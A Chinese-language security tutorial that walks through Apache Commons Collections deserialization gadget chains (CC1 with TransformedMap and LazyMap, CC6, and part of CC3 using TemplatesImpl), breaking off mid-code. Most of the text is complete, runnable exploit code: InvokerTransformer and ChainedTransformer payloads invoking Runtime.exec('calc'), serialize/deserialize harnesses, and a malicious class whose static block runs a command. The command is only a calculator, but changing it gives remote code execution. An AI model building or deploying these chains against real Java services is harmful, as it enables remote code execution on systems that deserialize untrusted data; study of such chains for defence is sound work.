Java安全-CC链全分析

前置知识

Java访问权限概述

对于一个类，其成员（包括成员变量和成员方法）可否被其他类所访问，取决于该成员的修饰词。在Java中，类成员的访问权限修饰词有四个：private，无（包访问权限），protected 和 public，其权限控制如下表所示：
同一个类中同一个包中不同包的子类不同包的无关类public✔✔✔✔protected✔✔✔无（空着不写）✔✔private✔ 不同包中子类: 不同包通过继承获得关系
不同包中的无关类: 不同包通过直接创建对象来获得关系
反射

Java反射操作的是java.lang.Class对象，所以我们必要要先获取到Class对象。
获取Class对象的方式：

1. 1. Class.forName("全类名")：将字节码文件加载进内存，返回Class对象
2.          多用于配置文件，将类名定义在配置文件中。读取文件，加载类
3. 2. 类名.class：通过类名的属性class获取
4.          多用于参数的传递
5. 3. 对象.getClass()：getClass()方法在Object类中定义着。
6.          多用于对象的获取字节码的方式

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代码实例：

1. 方式一：
2.         Class cls1 = Class.forName("Domain.Person");
3.         System.out.println(cls1);
4. 方式二：
5.         Class cls2 = Person.class;
6.         System.out.println(cls2);
7.         
8. 方式三：
10.         Person p = new Person();
11.         Class cls3 = p.getClass();
12.         System.out.println(cls3);

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环境摆设

1. <?xml version="1.0" encoding="UTF-8"?>
2. <project xmlns="http://maven.apache.org/POM/4.0.0"
3.          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4.          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5.     <modelVersion>4.0.0</modelVersion>
7.     <groupId>org.example</groupId>
8.     <artifactId>cc分析</artifactId>
9.     <version>1.0-SNAPSHOT</version>
11.     <properties>
12.         <maven.compiler.source>8</maven.compiler.source>
13.         <maven.compiler.target>8</maven.compiler.target>
14.         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
15.     </properties>
16.     <dependencies>
17.         <dependency>
18.             <groupId>commons-collections</groupId>
19.             <artifactId>commons-collections</artifactId>
20.             <version>3.1</version>
21.         </dependency>
23.         <dependency>
24.             <groupId>org.apache.commons</groupId>
25.             <artifactId>commons-collections4</artifactId>
26.             <version>4.0</version>
27.         </dependency>
28.     </dependencies>
29. </project>

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CC1

流程分析

入口：org.apache.commons.collections.Transformer

入口类：org.apache.commons.collections.functors.InvokerTransformer，它的transform方法使用了反射来调用input的方法，InvokerTransformer相称于帮我们实现了一个反射调用，并且input，iMethodName，iParamTypes，iArgs都是可控的

因此我们可以通过InvokerTransformer类的transform方法来invoke Runtime类getRuntime对象的exec来实现rce

1. package org.example;
3. import org.apache.commons.collections.Transformer;
4. import org.apache.commons.collections.functors.InvokerTransformer;
6. public class cc1 {
7.     public static void main(String[] args) {
8.         new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());
9.     }
10. }

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乐成执行命令

如今的重点就是去找一个别的的类有transform方法，并且传入的Object是可控的，然后我们只要把这个Object设为InvokeTransformer即可，我们全局搜索transform方法，能够发现很多类都是有transform方法的，我们这里先研究的是CC1，所以我们直接看TransformerMap类

在TransformedMap中的checkSetValue方法中调用了transform，valueTransformer是构造的时间赋的值，再看构造函数

构造函数是一个protected，所以不能让我们直接实例赋值，只能是类内部构造赋值，找哪里调用了构造函数

一个静态方法，这里我们就能控制参数了

如果我们可以调用 TransformedMap 的 checkSetValue方法，那我们给 valueTransformer 实例就可以通过valueTransformer.transform(value) 实现 InvokerTransformer.transform(value) 从而 rce
如今调用transform方法的问题解决了，返回去看checkSetValue，可以看到value我们临时不能控制，全局搜索checkSetValue，看谁调用了它，并且value值可受控制，在AbstractInputCheckedMapDecorator类中发现，凑巧的是，它刚好是TransformedMap的父类

在这里如果对Java聚集认识一点的人看到了setValue字样就应该想起来，我们在遍历聚集的时间就用过setValue和getValue，所以我们只要对decorate这个map进行遍历setValue，由于TransformedMap继承了AbstractInputCheckedMapDecorator类，因此当调用setValue时会去父类探求，写一个demo来测试一下：

1. package org.example;
3. import org.apache.commons.collections.Transformer;
4. import org.apache.commons.collections.functors.InvokerTransformer;
6. import org.apache.commons.collections.Transformer;
7. import org.apache.commons.collections.functors.InvokerTransformer;
8. import org.apache.commons.collections.map.TransformedMap;
10. import java.util.HashMap;
11. import java.util.Map;
13. public class cc1 {
14.     public static void main(String[] args) {
15.         Runtime r = Runtime.getRuntime();
16.         InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
17.         HashMap<Object, Object> map = new HashMap<>();
18.         map.put("1","2");
19.         Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
20.         for(Map.Entry entry:decorate.entrySet()){
21.             entry.setValue(r);
22.         }
23.     }
24. }

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我们追踪一下setValue看是在哪调用的，在AnnotationInvocationHandler中找到，而且照旧在重写的readObject中调用的setValue，这还省去了再去找readObject

1.     private void readObject(java.io.ObjectInputStream s)
2.         throws java.io.IOException, ClassNotFoundException {
3.         s.defaultReadObject();
5.         // Check to make sure that types have not evolved incompatibly
7.         AnnotationType annotationType = null;
8.         try {
9.             annotationType = AnnotationType.getInstance(type);
10.         } catch(IllegalArgumentException e) {
11.             // Class is no longer an annotation type; time to punch out
12.             throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
13.         }
15.         Map<String, Class<?>> memberTypes = annotationType.memberTypes();
17.         // If there are annotation members without values, that
18.         // situation is handled by the invoke method.
19.         for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
20.             String name = memberValue.getKey();
21.             Class<?> memberType = memberTypes.get(name);
22.             if (memberType != null) {  // i.e. member still exists
23.                 Object value = memberValue.getValue();
24.                 if (!(memberType.isInstance(value) ||
25.                       value instanceof ExceptionProxy)) {
26.                     memberValue.setValue(
27.                         new AnnotationTypeMismatchExceptionProxy(
28.                             value.getClass() + "[" + value + "]").setMember(
29.                                 annotationType.members().get(name)));
30.                 }
31.             }
32.         }
33.     }

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我们分析下AnnotationInvocationHandler这个类，未用public声明，阐明只能通过反射调用

查看一下构造方法，传入一个Class和Map，此中Class继承了Annotation，也就是必要传入一个注解类进去，这里我们选择Target，之后说为什么

构造exp:

1. package org.example;
3. import org.apache.commons.collections.Transformer;
4. import org.apache.commons.collections.functors.InvokerTransformer;
5. import org.apache.commons.collections.map.TransformedMap;
7. import java.lang.annotation.Target;
8. import java.lang.reflect.Constructor;
9. import java.lang.reflect.InvocationTargetException;
10. import java.util.HashMap;
11. import java.util.Map;
13. public class cc1 {
14.     public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
15.         Runtime r = Runtime.getRuntime();
16.         InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
17.         HashMap<Object, Object> map = new HashMap<>();
18.         map.put("1","2");
19.         Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
20. //        for(Map.Entry entry:decorate.entrySet()){
21. //            entry.setValue(r);
22. //        }
23.         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
24.         Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
25.         constructor.setAccessible(true);
26.         Object o = constructor.newInstance(Target.class, decorate);
27.     }
28. }

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如今有个难题是Runtime类是不能被序列化的，但是反射来的类是可以被序列化的，还好InvokeTransformer有一个绝佳的反射机制，构造一下：

1. Method RuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
2. Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(RuntimeMethod);
3. InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

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如今另有个小问题，此中我们的transformedmap是传入了一个invokertransformer，但是如今这个对象没有了，被拆成了多个，就是上述三段代码，得想个办法统合起来，这里就回到最初的Transformer接口里去探求，找到ChainedTransformer，刚好这个方法是递归调用数组里的transform方法

我们就可以这样构造：

1. Transformer[] transformers = new Transformer[]{
2.     new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
3.     new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
4.     new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
5. };
6. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
7. HashMap<Object, Object> map = new HashMap<>();
8. map.put("1","2");
9. Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);

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到这一步雏形以及可以构造出来了

1. package org.example;
3. import com.sun.xml.internal.ws.encoding.MtomCodec;
4. import org.apache.commons.collections.Transformer;
5. import org.apache.commons.collections.functors.ChainedTransformer;
6. import org.apache.commons.collections.functors.InvokerTransformer;
7. import org.apache.commons.collections.map.TransformedMap;
9. import java.io.*;
10. import java.lang.annotation.Target;
11. import java.lang.reflect.Constructor;
12. import java.lang.reflect.InvocationTargetException;
13. import java.lang.reflect.Method;
14. import java.util.HashMap;
15. import java.util.Map;
16. public class cc1 {
17.     public static void serialize(Object obj) throws IOException {
18.         FileOutputStream fos = new FileOutputStream("cc1.bin");
19.         ObjectOutputStream oos = new ObjectOutputStream(fos);
20.         oos.writeObject(obj);
21.     }
22.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
23.         FileInputStream fis = new FileInputStream(filename);
24.         ObjectInputStream ois = new ObjectInputStream(fis);
25.         ois.readObject();
26.     }
28.     public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
29.         Transformer[] transformers = new Transformer[]{
30.                 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
31.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
32.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
33.         };
34.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
35.         HashMap<Object, Object> map = new HashMap<>();
36.         map.put("1","2");
37.         Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
38.         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
39.         Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
40.         constructor.setAccessible(true);
41.         Object o = constructor.newInstance(Target.class, decorate);
42.         serialize(o);
43.         deserialize("cc1.bin");
44.     }
45. }

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但是这里反序列化并不能执行命令，why？缘故原由在于AnnotationInvocationHandler里触发setValue是有条件的，我们调试追踪进去看看：

要想触发setValue得先过两个if判定，先看第一个if判定，memberType不能为null，memberType其实就是我们之前传入的注解类Target的一个属性，这个属性哪里来的？就是我们最先传入的map map.put(“1”,“2”)
获取这个name：1，获取1这个属性，很明显我们的Target注解类是没有1这个属性的，我们看一下Target类

Target是有value这个属性的，所以我们改一下map，map.put(“value”, 1)，这样就过了第一个if，接着往下看第二个if，这里value只要有值就过了，乐成到达setValue，但这里另有末了一个问题，如何让他调用Runtime.class？这里又得提到一个类，ConstantTransformer,这个类的特点就是我们传入啥，它直接就返回啥

这样就能构造最终的exp：

1. package org.example;
3. import com.sun.xml.internal.ws.encoding.MtomCodec;
4. import org.apache.commons.collections.Transformer;
5. import org.apache.commons.collections.functors.ChainedTransformer;
6. import org.apache.commons.collections.functors.ConstantTransformer;
7. import org.apache.commons.collections.functors.InvokerTransformer;
8. import org.apache.commons.collections.map.TransformedMap;
10. import java.io.*;
11. import java.lang.annotation.Target;
12. import java.lang.reflect.Constructor;
13. import java.lang.reflect.InvocationTargetException;
14. import java.lang.reflect.Method;
15. import java.util.HashMap;
16. import java.util.Map;
17. public class cc1 {
18.     public static void serialize(Object obj) throws IOException {
19.         FileOutputStream fos = new FileOutputStream("cc1.bin");
20.         ObjectOutputStream oos = new ObjectOutputStream(fos);
21.         oos.writeObject(obj);
22.     }
23.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
24.         FileInputStream fis = new FileInputStream(filename);
25.         ObjectInputStream ois = new ObjectInputStream(fis);
26.         ois.readObject();
27.     }
29.     public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
30.         Transformer[] transformers = new Transformer[]{
31.                 new ConstantTransformer(Runtime.class),
32.                 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
33.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
34.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
35.         };
36.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
37.         HashMap<Object, Object> map = new HashMap<>();
38.         map.put("value","1");
39.         Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
40.         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
41.         Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
42.         constructor.setAccessible(true);
43.         Object o = constructor.newInstance(Target.class, decorate);
44.         serialize(o);
45.         deserialize("cc1.bin");
46.     }
47. }

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以上是此中一条CC1，另有另一条CC1，是从LazyMap入手，我们也来分析一下，在LazyMap的get方法里调用了transform

看构造方法，factory必要我们控制，同样在类内部找哪里调用了这个构造方法

很明显，跟之前基本相似，就是从checkValue换到了get

那么get在哪调用的，照旧在AnnotationInvocationHandler，它的invoke方法调用了get

1.     public Object invoke(Object proxy, Method method, Object[] args) {
2.         String member = method.getName();
3.         Class<?>[] paramTypes = method.getParameterTypes();
5.         // Handle Object and Annotation methods
6.         if (member.equals("equals") && paramTypes.length == 1 &&
7.             paramTypes[0] == Object.class)
8.             return equalsImpl(args[0]);
9.         if (paramTypes.length != 0)
10.             throw new AssertionError("Too many parameters for an annotation method");
12.         switch(member) {
13.         case "toString":
14.             return toStringImpl();
15.         case "hashCode":
16.             return hashCodeImpl();
17.         case "annotationType":
18.             return type;
19.         }
21.         // Handle annotation member accessors
22.         Object result = memberValues.get(member);
24.         if (result == null)
25.             throw new IncompleteAnnotationException(type, member);
27.         if (result instanceof ExceptionProxy)
28.             throw ((ExceptionProxy) result).generateException();
30.         if (result.getClass().isArray() && Array.getLength(result) != 0)
31.             result = cloneArray(result);
33.         return result;
34.     }

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这里是个动态代理，我们可以用AnnotationInvocationHandler来代理LazyMap，这样就会触发invoke方法，构造一下exp（基本大差不差）：

1. package org.example;
3. import com.sun.xml.internal.ws.encoding.MtomCodec;
4. import org.apache.commons.collections.Transformer;
5. import org.apache.commons.collections.functors.ChainedTransformer;
6. import org.apache.commons.collections.functors.ConstantTransformer;
7. import org.apache.commons.collections.functors.InvokerTransformer;
8. import org.apache.commons.collections.map.LazyMap;
9. import org.apache.commons.collections.map.TransformedMap;
11. import java.io.*;
12. import java.lang.annotation.Target;
13. import java.lang.reflect.*;
14. import java.util.HashMap;
15. import java.util.Map;
16. public class cc12 {
17.     public static void serialize(Object obj) throws IOException {
18.         FileOutputStream fos = new FileOutputStream("cc1_lazymap.bin");
19.         ObjectOutputStream oos = new ObjectOutputStream(fos);
20.         oos.writeObject(obj);
21.     }
22.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
23.         FileInputStream fis = new FileInputStream(filename);
24.         ObjectInputStream ois = new ObjectInputStream(fis);
25.         ois.readObject();
26.     }
28.     public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
29.         Transformer[] transformers = new Transformer[]{
30.                 new ConstantTransformer(Runtime.class),
31.                 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
32.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
33.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
34.         };
35.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
36.         HashMap<Object, Object> map = new HashMap<>();
37.         Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);
38.         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
40.         Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
41.         constructor.setAccessible(true);
42.         InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
43.         Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
44.         Object o = constructor.newInstance(Target.class, newMap);
45.         serialize(o);
46.         deserialize("cc1_lazymap.bin");
47.     }
48. }

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CC6

CC6不受jdk版本限制，算是一条最常用的CC链
这是Ysoserial上的CC6，可以看到后半部门没变，从LazyMap.get开始通过TiedMapEntry.getValue来调用了，我们追踪一下

TiedMapEntry.getValue调用了map.get

看构造函数，map，key我们都能控制

找getValue方法在哪调用，TiedMapEntry自身的hashCode方法调用了，看到这个hashCode是不是很眼熟，没错，我们研究URLDNS的时间就是用到这里，那么显而易见，我们前面的就是HashMap了

构造exp，注意这里跟URLDNS有雷同的问题，hashMap.put的时间就触发了hash方法也同时调用了hashCode，所以直接就执行命令了，照旧同样的手法将某些值改一下就行了

1. package org.example;
3. import org.apache.commons.collections.Transformer;
4. import org.apache.commons.collections.functors.ChainedTransformer;
5. import org.apache.commons.collections.functors.ConstantTransformer;
6. import org.apache.commons.collections.functors.InvokerTransformer;
7. import org.apache.commons.collections.keyvalue.TiedMapEntry;
8. import org.apache.commons.collections.map.LazyMap;
10. import java.io.*;
11. import java.lang.reflect.Field;
12. import java.util.HashMap;
13. import java.util.Map;
15. public class cc6 {
16.     public static void serialize(Object obj) throws IOException {
17.         FileOutputStream fos = new FileOutputStream("cc6.bin");
18.         ObjectOutputStream oos = new ObjectOutputStream(fos);
19.         oos.writeObject(obj);
20.     }
21.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
22.         FileInputStream fis = new FileInputStream(filename);
23.         ObjectInputStream ois = new ObjectInputStream(fis);
24.         ois.readObject();
25.     }
27.     public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
28.         Transformer[] transformers = new Transformer[]{
29.                 new ConstantTransformer(Runtime.class),
30.                 new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
31.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
32.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
33.         };
34.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
35.         Map<Object, Object> map = new HashMap<>();
36.         Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
37.         TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
38.         HashMap<Object, Object> hashMap = new HashMap<>();
39.         hashMap.put(tiedMapEntry, null);
40.         Field factory = LazyMap.class.getDeclaredField("factory");
41.         factory.setAccessible(true);
42.         factory.set(lazymap, chainedTransformer);
43.         serialize(hashMap);
44.         deserialize("cc6.bin");
45.     }
46. }

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但是这里奇怪的是照旧没法弹盘算器，我们调试一下看看，发现是LazyMap.get这里的问题，这里有一个if判定，我们这个map没有给值，在hashMap.put触发后给put进去一个null的键，第二次触发的之前我们把这个键删掉就行了。

1. package org.example;
3. import org.apache.commons.collections.Transformer;
4. import org.apache.commons.collections.functors.ChainedTransformer;
5. import org.apache.commons.collections.functors.ConstantTransformer;
6. import org.apache.commons.collections.functors.InvokerTransformer;
7. import org.apache.commons.collections.keyvalue.TiedMapEntry;
8. import org.apache.commons.collections.map.LazyMap;
10. import java.io.*;
11. import java.lang.reflect.Field;
12. import java.util.HashMap;
13. import java.util.Map;
15. public class cc6 {
16.     public static void serialize(Object obj) throws IOException {
17.         FileOutputStream fos = new FileOutputStream("cc6.bin");
18.         ObjectOutputStream oos = new ObjectOutputStream(fos);
19.         oos.writeObject(obj);
20.     }
21.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
22.         FileInputStream fis = new FileInputStream(filename);
23.         ObjectInputStream ois = new ObjectInputStream(fis);
24.         ois.readObject();
25.     }
27.     public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
28.         Transformer[] transformers = new Transformer[]{
29.                 new ConstantTransformer(Runtime.class),
30.                 new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
31.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
32.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
33.         };
34.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
35.         Map<Object, Object> map = new HashMap<>();
36.         Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
37.         TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
38.         HashMap<Object, Object> hashMap = new HashMap<>();
39.         hashMap.put(tiedMapEntry, null);
40.         map.remove(null);
41.         Field factory = LazyMap.class.getDeclaredField("factory");
42.         factory.setAccessible(true);
43.         factory.set(lazymap, chainedTransformer);
44.         serialize(hashMap);
45.         deserialize("cc6.bin");
46.     }
47. }

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CC3

CC3就跟前两条链不太一样了，CC1与CC6都是执行命令，很多时间服务器的代码当中的黑名单会选择禁用Runtime，而CC3是执行静态代码块，CC3接纳的是动态加载类，也就是利用了defineClass，我们搜索哪些类有defineClass,找到这个TemplatesImpl,这玩意厉害的很，以后另有很多地方用到

继续跟进，在defineTransletClasses方法中调用了defineClass

1.     private void defineTransletClasses()
2.         throws TransformerConfigurationException {
4.         if (_bytecodes == null) {
5.             ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
6.             throw new TransformerConfigurationException(err.toString());
7.         }
9.         TransletClassLoader loader = (TransletClassLoader)
10.             AccessController.doPrivileged(new PrivilegedAction() {
11.                 public Object run() {
12.                     return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
13.                 }
14.             });
16.         try {
17.             final int classCount = _bytecodes.length;
18.             _class = new Class[classCount];
20.             if (classCount > 1) {
21.                 _auxClasses = new HashMap<>();
22.             }
24.             for (int i = 0; i < classCount; i++) {
25.                 _class[i] = loader.defineClass(_bytecodes[i]);
26.                 final Class superClass = _class[i].getSuperclass();
28.                 // Check if this is the main class
29.                 if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
30.                     _transletIndex = i;
31.                 }
32.                 else {
33.                     _auxClasses.put(_class[i].getName(), _class[i]);
34.                 }
35.             }
37.             if (_transletIndex < 0) {
38.                 ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
39.                 throw new TransformerConfigurationException(err.toString());
40.             }
41.         }
42.         catch (ClassFormatError e) {
43.             ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
44.             throw new TransformerConfigurationException(err.toString());
45.         }
46.         catch (LinkageError e) {
47.             ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
48.             throw new TransformerConfigurationException(err.toString());
49.         }
50.     }

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• _bytecodes必要赋值
  
• _tfactory必要赋值
  

不过_tfactory在readObject方法里被赋值了，因此不用管，继续跟进看谁调用了defineTransletClasses，看getTransletInstance,得绕过第一个if判定，所以得反射赋值给_name

• 必要赋值_name
  
• 不能赋值_class
  

继续跟进看谁调用了getTransletInstance，如今基本有一个构造思路了，new 一个TemplateIml对象，然后调用newTransformer方法，从而去defineClass

由于还没序列化，所以先手动给_tfactory赋值，不过运行后报了个空指针错误

1. package org.example;
3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
6. import javax.xml.transform.Transformer;
7. import javax.xml.transform.TransformerConfigurationException;
8. import java.io.*;
9. import java.lang.reflect.Field;
10. import java.nio.file.Files;
11. import java.nio.file.Paths;
13. public class cc3 {
14.     public static void serialize(Object obj) throws IOException {
15.         FileOutputStream fos = new FileOutputStream("cc6.bin");
16.         ObjectOutputStream oos = new ObjectOutputStream(fos);
17.         oos.writeObject(obj);
18.     }
19.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
20.         FileInputStream fis = new FileInputStream(filename);
21.         ObjectInputStream ois = new ObjectInputStream(fis);
22.         ois.readObject();
23.     }
25.     public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
26.         TemplatesImpl templates = new TemplatesImpl();
27.         Field _name = TemplatesImpl.class.getDeclaredField("_name");
28.         _name.setAccessible(true);
29.         _name.set(templates, "1");
30.         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
31.         _bytecodes.setAccessible(true);
32.         byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\src\\main\\java\\org\\example\\Eval.java"));
33.         byte[][] code = {bytes};
34.         _bytecodes.set(templates, code);
35.         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
36.         _tfactory.setAccessible(true);
37.         _tfactory.set(templates, new TransformerFactoryImpl());
38.         Transformer transformer = templates.newTransformer();
39.     }
40. }

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1. package org.example;
3. import java.io.IOException;
5. public class Eval {
6.     static {
7.         try {
8.             Runtime.getRuntime().exec("calc");
9.         } catch (IOException e) {
10.             throw new RuntimeException(e);
11.         }
12.     }
14.     public static void main(String[] args) {
16.     }
17. }

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调试发如今这由于if判定没过，导致进去这个空指针错误，继续反射修改ABSTRACT_TRANSLET的值就ok，或则让恶意类Eval继承这个ABSTRACT_TRANSLET所指向的类

乐成弹出盘算器

1. package org.example;
3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
6. import javax.xml.transform.Transformer;
7. import javax.xml.transform.TransformerConfigurationException;
8. import java.io.*;
9. import java.lang.reflect.Field;
10. import java.nio.file.Files;
11. import java.nio.file.Paths;
13. public class cc3 {
14.     public static void serialize(Object obj) throws IOException {
15.         FileOutputStream fos = new FileOutputStream("cc6.bin");
16.         ObjectOutputStream oos = new ObjectOutputStream(fos);
17.         oos.writeObject(obj);
18.     }
19.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
20.         FileInputStream fis = new FileInputStream(filename);
21.         ObjectInputStream ois = new ObjectInputStream(fis);
22.         ois.readObject();
23.     }
25.     public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
26.         TemplatesImpl templates = new TemplatesImpl();
27.         Field _name = TemplatesImpl.class.getDeclaredField("_name");
28.         _name.setAccessible(true);
29.         _name.set(templates, "1");
30.         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
31.         _bytecodes.setAccessible(true);
32.         byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\target\\classes\\org\\example\\Eval.class"));
33.         byte[][] code = {bytes};
34.         _bytecodes.set(templates, code);
35.         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
36.         _tfactory.setAccessible(true);
37.         _tfactory.set(templates, new TransformerFactoryImpl());
38.         Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
39.         ABSTRACT_TRANSLET.setAccessible(true);
40.         ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
41.         Transformer transformer = templates.newTransformer();
42.     }
43. }

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!

末了的问题是如何去序列化，可以看到Transformer这个类，我们可以结合CC1或者CC6
CC1

1. package org.example;
3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
5. import org.apache.commons.collections.Transformer;
6. import org.apache.commons.collections.functors.ChainedTransformer;
7. import org.apache.commons.collections.functors.ConstantTransformer;
8. import org.apache.commons.collections.functors.InvokerTransformer;
9. import org.apache.commons.collections.map.LazyMap;
11. import java.io.*;
12. import java.lang.annotation.Target;
13. import java.lang.reflect.*;
14. import java.nio.file.Files;
15. import java.nio.file.Paths;
16. import java.util.HashMap;
17. import java.util.Map;
19. public class CC3 {
20.     public static void serialize(Object obj) throws IOException {
21.         FileOutputStream fos = new FileOutputStream("cc3.bin");
22.         ObjectOutputStream oos = new ObjectOutputStream(fos);
23.         oos.writeObject(obj);
24.     }
25.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
26.         FileInputStream fis = new FileInputStream(filename);
27.         ObjectInputStream ois = new ObjectInputStream(fis);
28.         ois.readObject();
29.     }
31.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
32.         TemplatesImpl templates = new TemplatesImpl();
33.         Field _name = TemplatesImpl.class.getDeclaredField("_name");
34.         _name.setAccessible(true);
35.         _name.set(templates, "1");
36.         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
37.         _bytecodes.setAccessible(true);
38.         byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\target\\classes\\org\\example\\Eval.class"));
39.         byte[][] code = {bytes};
40.         _bytecodes.set(templates, code);
41.         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
42.         _tfactory.setAccessible(true);
43.         _tfactory.set(templates, new TransformerFactoryImpl());
44.         Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
45.         ABSTRACT_TRANSLET.setAccessible(true);
46.         ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
47. //        Transformer transformer = templates.newTransformer();
48.         Transformer[] transformers = new Transformer[]{
49.                 new ConstantTransformer(templates),
50.                 new InvokerTransformer("newTransformer", null, null)
